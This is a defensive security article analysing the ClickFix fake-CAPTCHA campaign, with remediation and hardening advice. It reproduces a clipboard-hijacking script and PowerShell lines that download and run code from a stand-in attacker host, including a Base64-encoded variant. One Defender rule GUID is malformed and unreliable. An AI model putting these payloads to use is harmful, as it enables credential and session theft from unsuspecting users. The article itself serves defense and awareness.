ClickFix: Inside the Fake CAPTCHA Attack Hijacking Windows Run and Terminals

If you spend time on the web, you have solved hundreds of CAPTCHAs. You click a checkbox, identify traffic lights, or watch a Cloudflare Turnstile spinner resolve in silence. It is a reflex so deeply ingrained that security researchers call it an authentication blind spot.

Over the past months, cybercriminal syndicates and nation-state threat clusters have capitalized on that reflex with an attack vector known as ClickFix (and its enterprise-targeted evolution, TerminalFix). As documented by Microsoft Threat Intelligence, CISA, and ESET Research, this technique has largely replaced traditional drive-by exploit kits.

Instead of searching for a zero-day browser exploit or packaging malware into a suspicious .exe file that triggers Microsoft Defender SmartScreen, ClickFix does something deceptively simple: it tricks the user into acting as the malware’s delivery vehicle.

Here is an end-to-end breakdown of how ClickFix works, why it successfully bypasses multi-million-dollar defensive perimeters, what it drops on your machine, and how to protect both individual workstations and enterprise networks.

---

The Attack Chain at a Glance

The entire ClickFix infection takes less than seven seconds from the user’s perspective. Behind that interaction lies a multi-stage execution pipeline designed to slip past every standard security boundary:

Stage	What Happens	Security Barrier Bypassed
1. The Trap	User lands on a poisoned page via SEO poisoning, malicious ads, or a compromised WordPress site.	Web filters & ad blockers (served via legitimate domains).
2. The Deceptive Overlay	High-fidelity fake Cloudflare or Google reCAPTCHA overlay appears (“Verify you are human”).	Browser security warnings (no malware hosted yet).
3. The Clipboard Hijack	Clicking “Verify” or “Copy Code” silently copies an obfuscated PowerShell one-liner to the clipboard.	Web sandbox (browser clipboard APIs allow text writing).
4. The Social Engineering Prompt	The page displays instructions: “Press Win + R, then Ctrl + V, then Enter.”	Browser download monitor (0 bytes downloaded via HTTP).
5. LOLBin Execution	powershell.exe launches natively, downloading and running an in-memory script.	Static AV scans (PowerShell is a trusted Microsoft binary).
6. The Payload Drop	An infostealer (Lumma, Vidar) or reverse-tunnel implant deploys, harvesting credentials and tokens.	Traditional MFA (steals active session cookies).

---

Phase 1: The Lure and the Fake Verification Modal

ClickFix campaigns do not originate in dark-web alleys; they meet users on everyday search results. Attackers leverage:

1. Compromised Content Management Systems (CMS): Thousands of legitimate, high-reputation WordPress and Drupal websites running vulnerable plugins are silently injected with malicious JavaScript snippets.
2. Google Ads & Malicious Malvertising: Sponsored ads impersonating popular developer utilities (Notepad++, PuTTY, Postman, 7-Zip) or pirated media converters.
3. Compromised GitHub Issues and Pull Requests: Threat actors post automated comments on active open-source repositories claiming an issue has been resolved in a test branch with a link to the fake verification gate.

When a visitor lands on the infected URL, the page’s original content is covered by a high-fidelity modal window. The design matches the official visual aesthetics of Cloudflare Turnstile, Google reCAPTCHA, or an operating system dialog:

+-------------------------------------------------------------------+
|  [!] Cloudflare Security Check                                    |
|                                                                   |
|  Verification Required: Confirm you are human                     |
|                                                                   |
|  Step 1: Press Windows Key + R on your keyboard.                  |
|  Step 2: Press CTRL + V to paste the verification key.            |
|  Step 3: Press Enter to complete the verification check.          |
|                                                                   |
|             [ Copy Verification Code & Proceed ]                  |
+-------------------------------------------------------------------+

Variants targeting corporate workstations often masquerade as missing fonts (“The Roboto font is missing. Paste this command into Terminal to install it”), broken WebGL extensions, or Zoom meeting connection repairs.

---

Phase 2: How the Clipboard is Weaponized

In a traditional drive-by download, the website attempts to force your browser to download a file like setup.exe or update.iso. Modern browsers (Chrome, Firefox, Safari, Edge) flag this immediately with prominent warnings: “This file may harm your computer. Do you want to keep it?”

ClickFix completely bypasses the browser’s download manager by utilizing the web’s native Async Clipboard API (navigator.clipboard.writeText) or fallback document.execCommand('copy'):

// Simplified recreation of the malicious trigger script
document.getElementById('verify-btn').addEventListener('click', async () => {
  const payload = `powershell.exe -w hidden -enc JABzAD0ATgBlAHcALQBPAGIA...`;
  
  try {
    await navigator.clipboard.writeText(payload);
    // Modal updates to display the deceptive "Win + R" instruction graphic
    showInstructionsModal();
  } catch (err) {
    // Fallback using older DOM selection if clipboard API permission is blocked
    const input = document.createElement('textarea');
    input.value = payload;
    document.body.appendChild(input);
    input.select();
    document.execCommand('copy');
    document.body.removeChild(input);
  }
});

Because modern browsers allow websites to copy text to the clipboard when triggered by a direct user gesture (such as clicking the “Verify” button), no browser security permission prompt is shown. The malicious string is injected directly into the user’s operating system clipboard.

---

Phase 3: Anatomy of the PowerShell Payload

What does the attacker actually copy to your clipboard? The exact string is almost always an obfuscated one-liner designed to download and execute secondary stages without touching disk.

Here is a sanitized breakdown of a typical command observed in active Lumma Stealer and StealC distribution campaigns:

powershell.exe -w hidden -noni -nop -c "irm https://fake-check.example[.]com/verify.ps1 | iex"

Let’s break down the flags:

• -w hidden (-WindowStyle Hidden): Suppresses the blue PowerShell console window so it does not stay visible on the screen.
• -noni (-NonInteractive): Prevents PowerShell from waiting for user prompts or confirmations.
• -nop (-NoProfile): Prevents loading user profiles and custom scripts, speeding up execution and bypassing defensive profile scripts.
• irm (Invoke-RestMethod): A native PowerShell cmdlet that fetches remote content over HTTP/HTTPS.
• iex (Invoke-Expression): Executes whatever string was returned by irm directly in system memory.

Heavily Obfuscated & Encoded Variants

In more evasive campaigns, the command is encoded in Base64 using the -enc (-EncodedCommand) flag to prevent basic command-line logging from flagging obvious URLs:

powershell.exe -NoExit -ExecutionPolicy Bypass -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcABzADoALwAvAGYAYQBrAGUALQBjAGgAZQBjAGsALgBlAHgAYQBtAHAAbABlAC4AYwBvAG0ALwBwAGEAeQBsAG8AYQBkAC4AcABzADEAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAJABlAG4AdgA6AFQARQBNAFAAXAB1AHAAZABhAHQAZQAuAGUAeABlACIA

If you ever encounter an encoded string on your clipboard, never paste it into a shell to see what it is. You can safely decode and inspect the underlying command using an offline Base64 Decoder. Decoding the string above reveals:

Invoke-WebRequest -Uri "https://fake-check.example[.]com/payload.ps1" -OutFile "$env:TEMP\update.exe"

The script downloads a dropped binary into the user’s temporary folder (%TEMP%) and immediately executes it.

---

Phase 4: Why Security Software Misses It

Why are standard endpoint tools and web shields struggling against ClickFix?

1. Living off the Land (LOLBins)

powershell.exe and cmd.exe are core Windows system binaries signed by Microsoft. They exist on every enterprise desktop and are used constantly by developers, system administration tools, and software updaters. Antivirus cannot simply block PowerShell from executing.

2. The Browser’s Boundary Problem

From Google Chrome or Microsoft Edge’s perspective:

• The user visited a web page.
• The user clicked a button.
• The page copied text to the clipboard.
• The web page terminated or waited.

The browser has no visibility into what the user does inside Windows Explorer, the Start menu, or the Run dialog. The browser process is completely isolated from the OS shell execution.

3. User Consent Bypasses Heuristics

When a user presses Win + R, pastes a command, and presses Enter, they are explicitly giving the operating system permission to run that utility under their own user token. Most Endpoint Detection and Response (EDR) sensors treat user-initiated terminal commands with lower initial suspicion than anomalous child processes spawned by a browser.

---

Phase 5: The Payloads — Lumma, StealC, and Storm-1811

Once the PowerShell payload executes, what happens next depends on the threat actor operating the campaign.

Scenario A: Information Stealers (Lumma, Vidar, Rhadamanthys)

The vast majority of consumer and developer ClickFix campaigns drop an infostealer. Within 15 to 30 seconds, the malware:

• Extracts Browser Cookies & Session Tokens: Targets Google Chrome, Brave, Firefox, Edge, and Opera SQLite databases. It dumps active authentication cookies for Google, GitHub, AWS, Microsoft 365, Slack, and banking portals.
• Dumps Autofill & Saved Passwords: Decrypts master passwords stored inside Chromium’s Login Data file using Windows DPAPI (Data Protection API).
• Searches for Cryptocurrency Wallets: Scans for browser extensions like MetaMask, Phantom, Coinbase Wallet, and desktop wallets (Exodus, Electrum), exfiltrating private seed phrases.
• Harvests Developer Credentials: Scrapes .ssh/id_rsa, .aws/credentials, .git-credentials, and environment variables (.env) stored on disk.
• Exfiltrates and Self-Deletes: Bundles the harvested data into an encrypted archive, sends it via HTTP POST to a Telegram bot or Russian/Eastern European bulletproof server, and terminates.

Crucial Reality: Traditional Multi-Factor Authentication (SMS codes, Authenticator apps) does not stop an attacker who has stolen your session cookies. The attacker injects your stolen cookie into their own browser and is immediately authenticated into your account as you, bypassing password and 2FA prompts entirely.

Scenario B: Enterprise Network Infiltration (Storm-1811 / TerminalFix)

When corporate employees fall for ClickFix lures, the attack shifts from quick theft to deep network persistence. Microsoft Threat Intelligence tracks these campaigns under threat clusters like Storm-1811:

[ ClickFix PowerShell ]
         │
         ▼
[ Drops Signed Executable + Malicious DLL ] 
         │ (DLL Sideloading via dui70.dll)
         ▼
[ Steganography / In-Memory Unpack ]
         │ (Decodes hidden payload from innocent PNG image)
         ▼
[ Active Directory Reconnaissance ]
         │ (nltest /dclist, adfind, bloodhound)
         ▼
[ Deploy Reverse-Tunnel C2 Implant ]
         │ (Chisel / Ligolo-ng reverse tunnel)
         ▼
[ Ransomware Staging / BlackCat & LockBit Affiliates ]

Instead of simply stealing passwords, the malware establishes persistent, encrypted command-and-control backdoors, discovers Active Directory domain controllers, and acts as an Initial Access Broker (IAB) selling corporate network access to ransomware operators.

---

Emergency Protocol: What to Do If You Ran a ClickFix Command

If you or a colleague just followed a fake verification prompt and pressed Enter, treat your machine as compromised immediately. Time is critical—infostealers exfiltrate data within 30 to 60 seconds of execution.

Follow these 5 immediate triage steps:

1. Disconnect from the Network Immediately

• Pull the Ethernet cable.
• Disable Wi-Fi using your laptop’s hardware switch or keyboard shortcut.
• Do not wait for a full antivirus scan to finish. Cutting the network connection stops the infostealer from uploading your credentials to the command-and-control server.

2. Switch to a Separate, Clean Device

Use your smartphone, a tablet, or an uninfected laptop. Do not perform account resets from the infected machine, because keyloggers and token grabbers will simply capture your new passwords.

3. Terminate All Active Web Sessions

Log in to your primary accounts from the clean device and invoke the global session killer:

• Google: Go to Manage your Google Account → Security → Your devices → Select Sign out of all sessions.
• Microsoft 365: Security dashboard → Sign out everywhere.
• GitHub: Settings → Sessions → Revoke all sessions.
• AWS / Cloud Platforms: Revoke active IAM session keys and invalidate STS tokens.
• Password Managers: (1Password, Bitwarden, Dashlane) Deauthorize all connected browser extensions and desktop apps.

4. Rotate Passwords & Reset Cryptographic Keys

• Change passwords starting with your email account (the root of all password resets) and password vault.
• Use a randomized Password Generator to create distinct 20+ character passwords.
• If you hold cryptocurrency in browser extension wallets, immediately transfer all funds to a hardware wallet or clean secondary address. Assume the seed phrase in local storage has been read.
• Invalidate any SSH private keys and API tokens (ghp_..., stripe_..., AWS_SECRET_KEY) stored on your machine.

5. Reimage the Operating System

Infostealers frequently drop secondary backdoors and modify scheduled tasks or registry run keys to maintain persistence. Running a conventional antivirus scan may clean the main executable while leaving secondary implants intact. For enterprise and sensitive development machines, a complete wipe and clean OS reinstall is the only verified remediation.

---

Defensive Engineering: How to Block ClickFix

Both individual developers and corporate IT teams can implement straightforward controls to defang the ClickFix vector.

1. Enable Attack Surface Reduction (ASR) Rules

If you are managing Windows systems via Intune or Group Policy, enforce these Microsoft Defender ASR rules:

• Block process creations originating from PSExec and WMI commands: d1e49aac-6034-4903-8702-e0b4e727409f
• Block executable content from email client and webmail: be9ba2d9-53ea-44a7-8f61-b54c014ec47b
• Block obfuscated scripts: 5beb86afa-61dc-45c2-9fa9-b35cce5c1e46

2. Constrain PowerShell for Standard Users

Non-administrative users rarely need unrestricted access to PowerShell. Enforce PowerShell Constrained Language Mode:

# Set system-wide environment variable via GPO or administrative prompt
[Environment]::SetEnvironmentVariable("__PSLockdownPolicy", "4", "Machine")

Under Constrained Language Mode, PowerShell disallows arbitrary .NET type instantiation, COM objects, and direct memory manipulation, causing most infostealer loaders (irm | iex) to fail on launch.

3. Disable the Windows Run Dialog via Group Policy

For workstations where users do not need Win + R, you can disable the Run dialog entirely:

• Path: User Configuration -> Administrative Templates -> Start Menu and Taskbar
• Policy: Set Remove Run menu from Start Menu to Enabled.
• This disables the Win + R hotkey and prevents the Run dialog from opening.

4. Adopt FIDO2 / WebAuthn Hardware Keys

The ultimate defense against infostealers stealing session cookies is hardware-bound authentication. Unlike passwords and TOTP codes, FIDO2 credentials (e.g. YubiKeys) are bound to the cryptographic origin of the website. Even if an attacker hijacks a browser session, they cannot forge signatures required for hardware-protected identity re-authentication.

---

MITRE ATT&CK Mapping

Security operations teams can map ClickFix / TerminalFix activity directly to standard enterprise threat indicators:

Technique ID	Technique Name	ClickFix Implementation
T1204.002	User Execution: Malicious File/Command	Tricking victim into pressing Win + R and pasting terminal command.
T1059.001	Command and Scripting Interpreter: PowerShell	Launching powershell.exe with bypass and hidden window flags.
T1115	Clipboard Data	Injecting obfuscated command payload into the OS clipboard buffer.
T1027	Obfuscated/Encoded Information	Encoding secondary download commands in Base64 (-enc).
T1539	Steal Web Session Cookie	Extracting authenticated session cookies to bypass MFA.
T1574.002	Hijack Execution Flow: DLL Side-Loading	Advanced campaigns (Storm-1811) bundling payloads with signed executables.

---

Primary Sources & References

This analysis compiles intelligence, telemetry, and advisory data from official cybersecurity sources:

• Microsoft Threat Intelligence: Threat actors misusing Quick Assist and social engineering lures (Storm-1811) — Comprehensive breakdown of Initial Access Brokers pairing ClickFix lures with DLL sideloading and ransomware delivery.
• Cybersecurity and Infrastructure Security Agency (CISA): Alerts & Technical Advisories on Living off the Land (LotL) — Guidelines on mitigating PowerShell, WMI, and native command interpreter abuse.
• ESET Research: ClickFix Social Engineering Campaign Analysis — Reverse-engineering reports detailing Lumma Stealer and RedLine infection chains targeting Windows Run dialogues.
• Proofpoint Threat Research: ClearFake and Fake Browser Update Campaigns — Tracking the migration from compromised WordPress sites to fake CAPTCHA verification overlays.
• MDN Web Docs & W3C: Clipboard API Permissions and User Gestures — Standards documentation outlining clipboard write permissions and browser execution limits.
• MITRE ATT&CK Matrix for Enterprise: Enterprise Techniques Knowledge Base — Reference taxonomy for T1204, T1059, and T1539 threat definitions.

---

The Takeaway

ClickFix is a masterclass in modern social engineering. It does not waste time trying to crack cryptographic algorithms or find zero-day vulnerabilities in chromium rendering engines. Instead, it weaponizes human muscle memory and legitimate system administration tools against the user.

Remember the golden rule of web navigation:

No legitimate website, CAPTCHA provider, or security service will ever ask you to open your terminal, launch the Windows Run dialog, or paste a command to verify you are human.

If you see a prompt asking you to press Win + R or paste a command into a terminal, close the browser tab immediately. The only thing you are verifying is that your machine is ready to be compromised.